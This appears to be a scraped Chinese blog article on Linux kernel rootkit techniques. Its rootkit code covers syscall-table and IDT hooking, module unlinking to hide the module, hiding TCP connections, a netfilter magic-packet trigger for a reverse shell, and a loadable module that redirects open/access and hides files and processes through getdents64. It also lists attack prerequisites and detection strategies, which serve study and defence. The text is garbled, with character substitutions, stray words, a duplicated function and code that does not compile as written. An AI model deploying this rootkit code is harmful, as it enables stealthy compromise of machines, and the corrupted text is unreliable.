Rootkit Hacking Technology && Defence Strategy Research

目录html

1. The Purpose Of Rootkit
2. Syscall Hijack
3. LKM Module Hidden   
4. Network Communication Hidden
5. File Hidden
6. Process Hidden
7. Hidden Port Remote Reverse Connections
8. Programe Replacing

 

1. The Purpose Of Rootkit
node

Basically, the purpose of rootkit is as followslinux

1. The Purpose Of Rootkit
2. Syscall Hijack
3. LKM Module Hidden   
4. Network Communication Hidden
5. File Hidden
6. Process Hidden
7. Hidden Port Remote Reverse Connections
8. Programe Replacing

从大的方向上来分类,当前的rootkit技术一个核心词就是"hook",围绕着怎么劫持、劫持谁这2个问题,衍生出了很是多的底层rootkit技术(有别于传统的应用层PATH劫持、指令程序替换重定向等技术)git

1. VFS劫持(/proc下操做句柄劫持)
2. Kernel劫持(kernel中断劫持)

从架构层级上来看,Kernel比VFS的层级更低,使用kernel劫持方式能得到更加底层的劫持效果,可是相对的,如今也有不少kernel的劫持检测技术,为了规避这个问题,因此有的rootkit采用了VFS的劫持技术,以此来绕过kernel检测技术,可是所以付出的代价就是劫持的效果会降低程序员

 

Relevant Link:shell

http://files.cnblogs.com/LittleHann/hook_the_kernel_WNPS.pdf
http://jaseywang.me/2011/01/04/vfs-kernel-space-user-space-2/

 

2. Syscall Hijack c#

0x1: SYS_CALL_TABLE Functions Address Pointer Hook Hijackwindows

By directly replacing the system call function table pointer address, in order to achieve the purpose of system call hijacking数组

code安全

/*
1. 经过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48));

/*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移)
"中断描述符表(IDT)"中有不少项,每项8个字节,而第0x80项才是系统调用对应的中断
struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
};
static struct 
{
        unsigned short limit;
        unsigned long base;
}__attribute__ ((packed)) idt48;
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);

/*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号做为索引保存了linux系统下的全部系统调用的入口地址)
*/
for (i=0; i<100; i++)
{
    if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85')
    {
        sys_call_table = *(unsigned int*)(p+i+3);
        printk("addr of sys_call_table: %x\n", sys_call_table);
        return ;
    } 
}

/*
4. 将sys_call_table做为基址,根据系统调用号做为索引,替换指定的系统调用的函数地址指针(替换前须要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行)
*/
orig_read = sys_call_table[__NR_read]; 
orig_getdents64 = sys_call_table[__NR_getdents64];
..
replace
..

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
    1) KJ_SYSCALL_TABLE_SYM
    2) KJ_MODULE_KSET_SYM
    3) KJ_CORE_KERN_TEXT_SYM

0x2: Int 0x80 Interrupt Handler Hook Hijack Based On IDT Register

相比与系统调用表劫持技术,80中断劫持技术将hook点选在了代码逻辑的更上游的地方,关于系统调用劫持和80中断表劫持的区别,以下图所示

code

/*
1. 经过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48));

/*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移)
"中断描述符表(IDT)"中有不少项,每项8个字节,而第0x80项才是系统调用对应的中断
struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
};
static struct 
{
        unsigned short limit;
        unsigned long base;
}__attribute__ ((packed)) idt48;
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);

/*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号做为索引保存了linux系统下的全部系统调用的入口地址)
*/
for (i=0; i<100; i++)
{
    if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85')
    {
        sys_call_table = *(unsigned int*)(p+i+3);
        printk("addr of sys_call_table: %x\n", sys_call_table);
        return ;
    } 
}

/*
4. 将sys_call_table做为基址,根据系统调用号做为索引,获取指定的系统调用的函数地址指针,由于咱们经过劫持80中断进而达到系统调用劫持的目的后,还须要将代码控制流从新导向原始的系统调用
*/
orig_read = sys_call_table[__NR_read]; 
orig_getdents64 = sys_call_table[__NR_getdents64];
..
replace
..

/*
5. 直接替换IDT中的某一项,也就是咱们须要经过代码模拟本来"系统调用中断例程(IDT[0x80])"的代码逻辑
*/
void new_idt(void)
{
        ASMIDType
        (
                "cmp %0, %%eax      \n"
                "jae syscallmala        \n"
                "jmp hook               \n"

                "syscallmala:           \n"
                "jmp dire_exit          \n"

                : : "i" (NR_syscalls)
        );
}
..
void hook(void)
{
    register int eax asm("eax");

    switch(eax)
    {
        case __NR_getdents64:
            CallHookedSyscall(Sys_getdents64);
            break;
        case __NR_read:
            CallHookedSyscall(Sys_read);
               break; 
        default:
            JmPushRet(dire_call);
           break;
    } 
    //jmp to original syscall idt handler 
    JmPushRet( after_call );
}

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. 不论是"系统调用表劫持",仍是IDT 0x80中断劫持,最终rootkit都须要系统调用表的入口地址进行篡改(IDT 0x80中断劫持只是为了提升hook代码的易管理性、可扩展性),因此对"IDT 0x80中断劫持"的防护和"系统调用表劫持"
的防护策略是同样的
2. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
    1) KJ_SYSCALL_TABLE_SYM
    2) KJ_MODULE_KSET_SYM
    3) KJ_CORE_KERN_TEXT_SYM
3. 使用汇编级检查技术,检测IDT[0x80]的地址是否遭到了篡改,即和标准的中断例程的入口的汇编指令不一样
标准的IDT 0x80例程入口以下
\linux-2.6.32.63\arch\x86\kernel\entry_32.S
ENTRY(system_call)
    RING0_INT_FRAME  
    ASM_CLAC
    pushl_cfi %eax 
    SAVE_ALL
    GET_THREAD_INFO(%ebp) 
    testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp)
    jnz syscall_trace_entry
    cmpl $(NR_syscalls), %eax
    jae syscall_badsys //0x0f 0x83
syscall_call:
    call *sys_call_table(,%eax,4) //0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
    movl %eax,PT_EAX(%esp) # store the return value
     
被rootkit劫持了IDT以后改变以下

cmpl $(NR_syscalls), %eax
jae syscall_badsys //0x0f 0x83
被替换为:
pushl addr_of_new_idt => 0x68 ((void *) new_idt)
ret => 0xc3 

Relevant Link:

http://blog.aliyun.com/948
http://blog.csdn.net/zhl1224/article/details/5847381
http://www.hacker.com.cn/uploadfile/2014/0228/20140228103318644.pdf

0x3: Int 0x80 Interrupt Handler Hook Hijack Based On Fast System Call - sysenter(Intel)

除了借助IDT寄存器经过内联汇编指令获取到80中断(系统调用对应的中断)这个方法以外,Intel CPU还支持Fast System Call - sysenter的方式获取系统调用例程的入口地址(根据系统调用号进行具体系统调用派发的例程)

code

/*
1. check if SEP is supported in current system
能够经过: cat /proc/cpuinfo | grep sep来判断当前系统是否支持SEP
if supported, get sysenter address via: "rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);"
*/
if (boot_cpu_has(X86_FEATURE_SEP))
{
    rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);
} 

/*
2. 若是当前系统不支持SEP,则直接经过原始的方法去搜索/proc/kallsyms(内核符号导出表)
search in /proc/kallsyms for fast system call mark "sysenter_entry" or " syscall_call"
*/
else 
{ 
    sysenter = read_kallsyms(); 
}
 
/*
3. 经过sysenter劫持IDT中"系统调用中断例程的入口地址"
*/
标准的IDT 0x80例程入口以下
\linux-2.6.32.63\arch\x86\kernel\entry_32.S
ENTRY(system_call)
    RING0_INT_FRAME  
    ASM_CLAC
    pushl_cfi %eax 
    SAVE_ALL
    GET_THREAD_INFO(%ebp) 
    testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp)
    jnz syscall_trace_entry
    cmpl $(NR_syscalls), %eax
    jae syscall_badsys //0x0f 0x83
syscall_call:
    call *sys_call_table(,%eax,4) //0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
    movl %eax,PT_EAX(%esp) # store the return value
     
被rootkit劫持了IDT以后改变以下

cmpl $(NR_syscalls), %eax
jae syscall_badsys //0x0f 0x83
被替换为:
pushl addr_of_new_idt => 0x68 ((void *) new_idt)
ret => 0xc3 

/*
4. 当执行完咱们的hook_idt_handler以后,程序流会返回执行原始的syscall汇编代码
*/
syscall_call:
    call *sys_call_table(,%eax,4)
    movl %eax,PT_EAX(%esp) # store the return value

攻击前提

1. 当前系统支持SEP、或者在编译内核的时候开启了kallsyms开关
2. 黑客已经获取了root账号的权限
3. 黑客可以有权限执行insmod加载LKM驱动

防护策略

"Int 0x80 Interrupt Handler Hook Hijack Based On IDT Register"的防护策略相同

0x4: Kprobe Callback Function Register Hooking

使用linux系统提供的原生系统调用执行回调机制: Kprobe技术进行系统调用的Hooking,Kprobe机制可使rootkit有能力在系统调用执行的前、后进行串行式的检测和过滤(Kprobe拿到的数据结构就是原始的内核拿到的参数指针)

关于Kprobe的相关原理请参阅另外一篇文章
http://www.cnblogs.com/LittleHann/p/3854977.html
(搜索: 利用Linux内核机制kprobe机制(kprobes, jprobe和kretprobe)进行系统调用Hook)

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. Kprobe是linux提供的原生的监控机制,可是目前并无提供检测Kprobe_register挂钩状况的API,原本Kprobe诞生的时候就是为了监控的目的,并无设计用来rootkit、rootkit检测等目的
2. 检测当前系统是否处于Kprobe监控状态只能采起别的hacking的方法: 经过枚举kprobe的全局HASH链表,检查是否有白名单以外的系统调用监控(由于系统管理员本身可能也使用kprobe进行系统监控)

Relevant Link:

http://blog.chinaunix.net/uid-22227409-id-3420260.html

0x5: Linux LSM(linux security module) Function Register Hooking

LSM Selinux是linux提供的原生的程序流串行决策检查机制,程序员经过对指定的系统调用数据结构注册回调函数,可以在系统调用的执行流程上进行安全访问控制

code

//设置security_operations结构体,指明须要注册的LSM钩子函数
static struct security_operations test_security_ops = 
{
        .name =                 "test", 
        .file_permission =      test_file_permission,
};
//注册LSM钩子函数
register_security(&test_security_ops)

攻击前提

1. 当前linux服务端在编译内核时开启了SELINUX开关
2. 当前linux服务器配置信息中开启了SELINUX选项:修改/etc/selinux/config文件中的SELINUX=""为enabled ,而后重启
3. 黑客已经获取了root账号的权限
4. 黑客可以从新编译内核并重启机器

防护策略

未知(待研究)

0x6: Linux LSM(linux security module) Function Adress Hijaking

LSM模块在全部验证函数中都调用了security_ops的函数指针,这样,security_ops被定义为一个全局变量的话,rootkit很容易就能够将security_ops变量导出,而后替换为本身的fake函数,LSM框架很容易就被摧毁掉,从而达到函数指针hook劫持的目的

code

extern struct security_operations *security_ops;
struct security_operations *fake_security_ops;

int fake_file_mmap(struct file *file, unsigned long reqprot, unsigned long prot, unsigned long flags)
{
    printk("in fake_file_mmap.\n"); 
    return 0;
} 

fake_security_ops = security_ops; 
fake_security_ops->file_mmap = fake_file_mmap;
security_ops = fake_security_ops; 

security_ops->file_mmap(NULL, 0, 0, 0);

攻击前提

1. 当前linux服务端在编译内核时开启了SELINUX开关
2. 当前linux服务器配置信息中开启了SELINUX选项:修改/etc/selinux/config文件中的SELINUX=""为enabled ,而后重启
3. 黑客已经获取了root账号的权限
4. 黑客可以有权限执行insmod加载LKM驱动

防护策略

未知(待研究)

 

3. LKM Module Hidden   

枚举LKM模块的方法有

1. VFS方法: cat /proc/module: 直接读取/proc/module下的项
2. ring3方法: lsmod: 本质仍是在读取/proc/module,作了一个代码封装,提供给用户一个良好的接口和界面
3. LKM方法: 直接经过kernel module枚举struct module->list
4. LKM方法: 直接经过kernel module枚举struct module->mkobj->kobj->entry
5. lKM方法: 直接经过kernel module枚举module->mkobj->kobj->kset

0x1: Module Hidden Based On list_del Kernel Double-Way List"struct module->list" Item && kobject_del module_kobject "struct module->mkobj->kobj->entry" Item

这属于基于linux kernel object断链隐藏的思想(windows下也有相似的方法),linux将系统核心的调度、LKM信息都放在了内核中的某段内存区域中,而对于进程、LKM模块这类信息在内核中都是经过一个双向循环链表进行保存的

关于内核中LKM链表的相关知识,请参阅另外一篇文章

http://www.cnblogs.com/LittleHann/p/3865490.html
(搜索: struct module)

code

/*
1. 在模块加载的入口的位置,就进行"断链"操做
    1) 将当前模块的module直接从内核LKM双链表: list中删除
    2) 将当前模块的kobject直接从kernel module kobject双链表: mkobj.kobj.entry中删除
*/
int wnps_init(void)
{
    struct module *m = &__this_module;
    struct proc_dir_entry *my_dir_entry = proc_net->subdir;

    if (m->init == wnps_init)
    {
        list_del(&m->list);
        kobject_del(m->mkobj.kobj); 
        list_del(m->mkobj.kobj.entry);
    } 
    ..
}
module_init(wnps_init);

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. lKM方法: 直接经过kernel module枚举module->mkobj->kobj->kset

 
4. Network Communication Hidden

0x1: Network Communication Hidden Based On /proc/net/tcp/ Operation Handler Hooking(VFS Hook) 

code

/*
1. 获取/proc/net/tcp这个目录的"显示函数"的句柄
*/
/*
2. 劫持/proc/net/tcp的"显示函数"的函数 
*/
struct tcp_seq_afinfo *my_afinfo = NULL; 
while (strcmp(my_dir_entry->name, "tcp"))
{
    my_dir_entry = my_dir_entry->next;
} 
if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
{
    //保留原始的/proc/net/tcp列表
    old_tcp4_seq_show = my_afinfo->seq_show;
    /*
    将/proc/net/tcp替换为"hacked_tcp4_seq_show",这个函数会根据配置文件隐藏指定tcp链接记录
    */
    my_afinfo->seq_show = hacked_tcp4_seq_show;
} 

/*
3. 在劫持函数中根据配置文件对指定的tcp链接进行过滤
本质上: cat /proc/net/tcp就是在调用/proc/net/tcp->seq_show这个函数)
*/
int hacked_tcp4_seq_show(struct seq_file *seq, void *v)
{
    int retval = old_tcp4_seq_show(seq, v); 
    char port[12]; 
    sprintf(port,"%04X",ntohs(myowner_port)); 
    /*
    过滤(屏蔽)掉指定的tcp链接状态
    */
    if(strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ)
    {
        seq->count -= TMPSZ;
    }      

    return retval;   
}

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. 使用VFS Hooking的逆向思路,经过检查/proc/net/tcp->seq_show(操做句柄)是否位于内核text节区中来判断是否发生了VFS劫持

0x2: Network Communication Hidden Based On Netfilter Callback Function Register

Netfilter是linux提供的一种网络链接状态监控机制,Netfilter运行在内核态,并在链式处理流程的关键位置提供了注册回调点,方便内核开发人员开发基于网络链接监控的应用
关于netfilter的相关知识,请参阅另外一篇文章

http://www.cnblogs.com/LittleHann/p/3708222.html

code

/*
1. 置netfilter回调监控函数的相关信息
*/
int netfilter_test_init(void)
{     
    nfho.hook = hook_func;
    nfho.owner = NULL;
    nfho.pf = PF_INET;
    //NF_IP_PRE_ROUTING: 在数据报进入内核协议栈进行处理以前注册回调点
    nfho.hooknum = NF_IP_PRE_ROUTING;
    nfho.priority = NF_IP_PRI_FIRST;
    
    nf_register_hook(&nfho);
    
    return 0;
} 

/*
2. 将设置好的hook函数注册到netfilter的回调点上
*/
int nf_register_hook(struct nf_hook_ops *reg)
{
    struct nf_hook_ops *elem;
    int err; 

    err = mutex_lock_interruptible(&nf_hook_mutex);
    if (err < 0)
    {
        return err;
    }       
    list_for_each_entry(elem, &nf_hooks[reg->pf][reg->hooknum], list) 
    {
        if (reg->priority < elem->priority)
        {
            break;
        }        
    }
    list_add_rcu(&reg->list, elem->list.prev);
    mutex_unlock(&nf_hook_mutex);
#if defined(CONFIG_JUMP_LABEL)
    static_key_slow_inc(&nf_hooks_needed[reg->pf][reg->hooknum]);
#endif
    return 0;
}

/*
3. 在监控函数中hook_funcn中,经过监控关键字"TCP_SHELL_KEY",实现无链接方式shell激活(告诉rootkit lkm如今能够准备开始启动反向链接shell了)
*/
..
if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) 
{
    ..
    //获取激活包发送方的IP地址(即反向链接的目的地:肉鸡的主控方的IP地址) 
    myowner_ip = sk->nh.iph->saddr;  
    ..
    //获取激活包发送方的端口(即反向链接的目的地:肉鸡的主控方所监听的socket端口)
    connect_port = wnps_atoi(port);
    ..
    //这个标识表示当前已经开启反向链接激活模式
    wztshell = 1;
    ..
}

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. 定位struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS]
    1) 经过kj_kernel_symbol_lookup直接获得nf_hooks的内核地址
    2) 经过/proc/kallsyms获得nf_hooks的内核地址
2. 经过遍历循环双链表枚举结构体数组的每一项
3. 得到每个注册函数的钩子,并判断其所属的模块(经过__module_address()进行反向定位)
4. 若是定位失败则说明当前钩子函数为恶意模块注册的hook函数

Relevant Link:

http://www.docin.com/p-53234562.html


5. File Hidden

0x1: File Hidden Based On Replace Hook sys_open、sys_access system call

在使用LD_PRELOAD技术向Linux下全部启动中的进程注入.so文件进行hook,因为LD_PRELOAD是操做系统原生提供的机制,咱们没法从Ring3应用层来控制hook注入的过滤,要达到针对某些特定进程不进行hook操做,须要配合Ring0层驱动来进行实现

1. 对sys_open进行hook

2. 判断当前进程
(current->comm == target_process)
{}

3. 判断当前打开文件
//long my_sys_open(const char __user *filename, int flags, int mode)
if(filename == "/etc/ld.so.preload" || filename == "target_so_path")
{
    //重定向(从新赋值)filename
    filename = "new_so_path";
}
或者对sys_access进行hook,让目标进程access("/etc/ld.so.preload", R_OK)的时候执行失败,达到绕过加载Hook SO的状况

4. 则将filename指针重定向指向另外一个空的、格式正确的空壳.so文件

5. 完成这步操做以后,指定目标进程在根据LD_PRELOAD路径打开的.so文件就是一个没有任何hook功能的空壳文件

code

#include <linux/module.h>
#include <linux/init.h>
#include <linux/types.h>
#include <asm/uaccess.h>
#include <asm/cacheflush.h>
#include <linux/syscalls.h>
#include <linux/delay.h>    // loops_per_jiffy   
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h>  
#include <linux/fcntl.h>//for O_RDONLY  
#include <linux/limits.h>//for PATH_MAX
#include <linux/mount.h> 
#include <linux/fdtable.h>   
#include <linux/stat.h> 
#include <linux/namei.h>
#include <linux/sched.h>

#define CR0_WP 0x00010000   // Write Protect Bit (CR0:16)
#define BUF_SIZE 1024

/* Just so we do not taint the kernel */
MODULE_LICENSE("GPL");

void **syscall_table;
unsigned long **find_sys_call_table(void);
 
long (*orig_sys_open)(const char __user *filename, int flags, int mode); 
long (*ori_sys_access)(const char __user *filename, int mode);

unsigned long **find_sys_call_table() 
{    
    unsigned long ptr;
    unsigned long *p;

    for (ptr = (unsigned long)sys_close; ptr < (unsigned long)&loops_per_jiffy; ptr += sizeof(void *)) 
    {             
        p = (unsigned long *)ptr;

        if (p[__NR_close] == (unsigned long)sys_close) 
        {
            printk(KERN_DEBUG "Found the sys_call_table!!!\n");
            return (unsigned long **)p;
        }
    }
    
    return NULL;
}
   
unsigned long getInodeIDbyFilename(const char *filename)
{   
    unsigned long proc_ino = 0;  
    
    struct file *filp = filp_open(filename, O_RDONLY, 0);  
    if( !IS_ERR(filp) )
    {
        proc_ino = filp->f_dentry->d_inode->i_ino;
        filp_close(filp, 0);  
    }  
    else
    {
        proc_ino = 0;
    }   

    return proc_ino;
}
 
long my_sys_open(const char __user *filename, int flags, int mode) 
{ 
    long ret; 
    unsigned long target_so_path_ino;  
    unsigned long current_proc_ino;
 
    const char *new_filename = "/home/zhenghan.zh/hook.so";

    char target_so_path[512] = {0};  
    char buffer_filename[512] = {0};   
    char current_process[512] = {0};       

    //将用户态的filename拷贝到内核态,防止出现panic
    copy_from_user((char *)buffer_filename, filename, 512);  

    //设置要修复的目标受保护路径
    sprintf(target_so_path, "/home/zhenghan.zh/target.so"); 
    //获取当前调用进程名
    sprintf(current_process, current->comm);
    printk("current_process: %s opening: %s\n", current_process, buffer_filename);
    
    //获取指定路径的inode id
    current_proc_ino = getInodeIDbyFilename(buffer_filename);
    target_so_path_ino = getInodeIDbyFilename(target_so_path); 

    //若是是tubo进程
    if ( strcmp(current_process, "test") == 0)
    {
        //匹配当前打开文件路径
        if ( (current_proc_ino == target_so_path_ino) )
         { 
            //重定向当前打开文件的 
            ret = orig_sys_open(new_filename, flags, mode); 
         } 
         else
         {
            ret = orig_sys_open(filename, flags, mode); 
         }
    }
    else
    {
        ret = orig_sys_open(filename, flags, mode); 
    }   

    return ret;
}

long my_sys_open(const char __user *filename, int flags, int mode) 
{ 
    long ret; 
    unsigned long target_so_path_ino;  
    unsigned long current_proc_ino;
 
    const char *new_filename = "/home/zhenghan.zh/hook.so";

    char target_so_path[512] = {0};  
    char buffer_filename[512] = {0};   
    char current_process[512] = {0};       

    //将用户态的filename拷贝到内核态,防止出现panic
    copy_from_user((char *)buffer_filename, filename, 512);  

    //设置要修复的目标受保护路径
    sprintf(target_so_path, "/home/zhenghan.zh/target.so"); 
    //获取当前调用进程名
    sprintf(current_process, current->comm);
    printk("current_process: %s opening: %s\n", current_process, buffer_filename);
    
    //获取指定路径的inode id
    current_proc_ino = getInodeIDbyFilename(buffer_filename);
    target_so_path_ino = getInodeIDbyFilename(target_so_path); 

    //若是是tubo进程
    if ( strcmp(current_process, "test") == 0)
    {
        //匹配当前打开文件路径
        if ( (current_proc_ino == target_so_path_ino) )
         { 
            //重定向当前打开文件的 
            ret = orig_sys_open(new_filename, flags, mode); 
         } 
         else
         {
            ret = orig_sys_open(filename, flags, mode); 
         }
    }
    else
    {
        ret = orig_sys_open(filename, flags, mode); 
    }   

    return ret;
}


long my_sys_access(const char __user *filename, int mode)
{ 
    long ret; 
    unsigned long target_so_path_ino;  
    unsigned long current_proc_ino;
 
    const char *new_filename = "/home/zhenghan.zh/hook.so";

    char target_so_path[512] = {0};  
    char buffer_filename[512] = {0};   
    char current_process[512] = {0};       

    //将用户态的filename拷贝到内核态,防止出现panic
    copy_from_user((char *)buffer_filename, filename, 512);  

    //设置要修复的目标受保护路径
    sprintf(target_so_path, "/home/zhenghan.zh/target.so"); 
    //获取当前调用进程名
    sprintf(current_process, current->comm);
    printk("current_process: %s opening: %s\n", current_process, buffer_filename);
    
    //获取指定路径的inode id
    current_proc_ino = getInodeIDbyFilename(buffer_filename);
    target_so_path_ino = getInodeIDbyFilename(target_so_path); 

    //若是是tubo进程
    if ( strcmp(current_process, "test") == 0)
    {
        //匹配当前打开文件路径
        if ( (current_proc_ino == target_so_path_ino) )
         { 
            //重定向当前打开文件的 
            ret = orig_sys_open(new_filename, flags, mode); 
         } 
         else
         {
            ret = ori_sys_access(filename, mode); 
         }
    }
    else
    {
        ret = ori_sys_access(filename, mode); 
    }   

    return ret;
}

 
static int __init syscall_init(void)
{
    int ret;
    unsigned long addr;
    unsigned long cr0;
  
    syscall_table = (void **)find_sys_call_table();

    if (!syscall_table) 
    {
        printk(KERN_DEBUG "Cannot find the system call address\n"); 
        return -1;
    }

    cr0 = read_cr0();
    write_cr0(cr0 & ~CR0_WP);

    //将syscall_table附近的3个内存页(page)的内存页面的读写权限打开,
    addr = (unsigned long)syscall_table;
    ret = set_memory_rw(PAGE_ALIGN(addr) - PAGE_SIZE, 3);
    if(ret) 
    {
        printk(KERN_DEBUG "Cannot set the memory to rw (%d) at addr %16lX\n", ret, PAGE_ALIGN(addr) - PAGE_SIZE);
    } 
    else 
    {
        printk(KERN_DEBUG "3 pages set to rw");
    } 

    orig_sys_open = syscall_table[__NR_open]; 
    ori_sys_access = syscall_table[__NR_access]; 

    syscall_table[__NR_open] = my_sys_open;
    syscall_table[__NR_access] = my_sys_access;        

    write_cr0(cr0);
  
    return 0;
}

static void __exit syscall_release(void)
{
    unsigned long cr0;
    
    cr0 = read_cr0();
    write_cr0(cr0 & ~CR0_WP);  
     
    syscall_table[__NR_open] = orig_sys_open;
    syscall_table[__NR_access] = ori_sys_access;
    
    write_cr0(cr0);
}

module_init(syscall_init);
module_exit(syscall_release); 

0x2: File Hidden Based On Hajaking sys_getdents64 System Call

在系统调用劫持(Syscall Hijack)的基础上,经过劫持Sys_getdents64能够达到文件隐藏、进程隐藏的目的。这里的关键在于

1. linux下的进程枚举 
    1) ps
    2) top
2. linux下目录、文件枚举 
    1) ll 
    2) ls
这些系统指令到了内核系统调用这个层面,全都须要经过"getdents64"这个系统调用进行实现

咱们在劫持了Sys_getdents64系统调用以后,在劫持函数中加入判断逻辑,对指定的要隐藏的进程或者文件进行"清空buf(清空保存进程或目录枚举项的结构体缓冲区)"

code

/*
1. 经过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48));

/*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) 
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);

/*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号做为索引保存了linux系统下的全部系统调用的入口地址)
*/ 

/*
4. 将sys_call_table做为基址,根据系统调用号做为索引,替换指定的系统调用的函数地址指针(替换前须要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行)
*/
orig_read = sys_call_table[__NR_read]; 
orig_getdents64 = sys_call_table[__NR_getdents64];

/*
5. we get the orig information by orig_getdents64
*/
struct dirent64 *td1, *td2;
ret = (*orig_getdents64) (fd, dirp, count);
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);        
//copy the dirp struct to kernel space  
__copy_from_user(td2, dirp, ret);

/*
6. 隐藏对当前进程的枚举
    1) 经过current宏获取当前进程号
    2) 从dirent64获取当前正在枚举的进程号(d_name)
    3) 若是相等则说明须要隐藏
    4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的
*/ 
/*
7. 隐藏对指定特征文件的枚举
    1) 从dirent64获取当前正在枚举的文件名(d_name)
    2) 和咱们配置的文件名特征码(例如wnps_)做比较
    3) 若是命中则说明须要隐藏
    4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的
*/ 
asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count)
{
        struct dirent64 *td1, *td2;
        long ret, tmp;
        unsigned long hpid, nwarm;
        short int hide_process, hide_file;

        /* first we get the orig information */
        ret = (*orig_getdents64) (fd, dirp, count);
        if (!ret)
        {
            return ret;
        } 
        /* get some space in kernel */
        td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
        if (!td2)
        {
            return ret;
        }    
        /* copy the dirp struct to kernel space */
        __copy_from_user(td2, dirp, ret);

        td1 = td2, tmp = ret;
        while (tmp > 0) 
        {
            tmp -= td1->d_reclen;
            hide_file = 1;
            hide_process = 0;
            hpid = 0;
            hpid = simple_strtoul(td1->d_name, NULL, 10);

            /* 
            If we got a file like digital,it may be a task in the /proc.
            So check the task with the task pid.
            */
            if (hpid != 0) 
            {
                struct task_struct *htask = current;
                do  
                {
                    if(htask->pid == hpid)
                    {
                        break;
                    }
                    else
                    {
                        htask = next_task(htask);
                    }
                                        
            } while (htask != current);

            /* we get the task which will be hide */
            if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL)))
            {
                hide_process = 1;
            }                
        }

        if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL)) 
        {
            ret -= td1->d_reclen;
            hide_file = 0;
            /* we cover the task information */
            if (tmp)
            {
                memmove(td1, (char *) td1 + td1->d_reclen, tmp);
            }
        } 
        /* we hide the file */
        if ((tmp) && (hide_file))
        {
            td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen);
        } 
    } 
    nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);
    kfree(td2);

    return ret;
}

攻击前提

1. 黑客已经获取了root账号的权限
2. 黑客可以有权限执行insmod加载LKM驱动

防护策略

1. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
    1) KJ_SYSCALL_TABLE_SYM
    2) KJ_MODULE_KSET_SYM
    3) KJ_CORE_KERN_TEXT_SYM

0x3: File Hidden Based On Directory Operation Handler Hooking(VFS Hook)

VFS Hooking技术的层次位于Kernel Hooking的上层(也意味着它的隐藏效果会更差一点),可是咱们也必须明白,攻防技术并非绝对的,关键是咱们须要明确咱们所使用的技术所在的层次、能作到什么、不能作到什么、有哪些特性和限制

关于VFS技术,咱们须要简单了解下几个基本的概念

1. 虚拟文件系统,它为应用程序员提供一层抽象,屏蔽底层各类文件系统的差别。Linux的文件系统采用面向对象的方式设计,这使得Linux的文件系统很是容易扩展,咱们能够很是容易将一个新的文件系统添加到Linux中 
2. 在linux中全部的设备、磁盘文件都被抽象为"文件"看待,即"一切皆文件"
3. 结构体file_operations在头文件 linux/fs.h中定义
用来存储驱动内核模块提供的对设备进行各类操做的函数的指针。该结构体的每一个域都对应着驱动内核模块用来处理某个被请求的事务的函数的地址 
struct file_operations 
{
    struct module *owner;
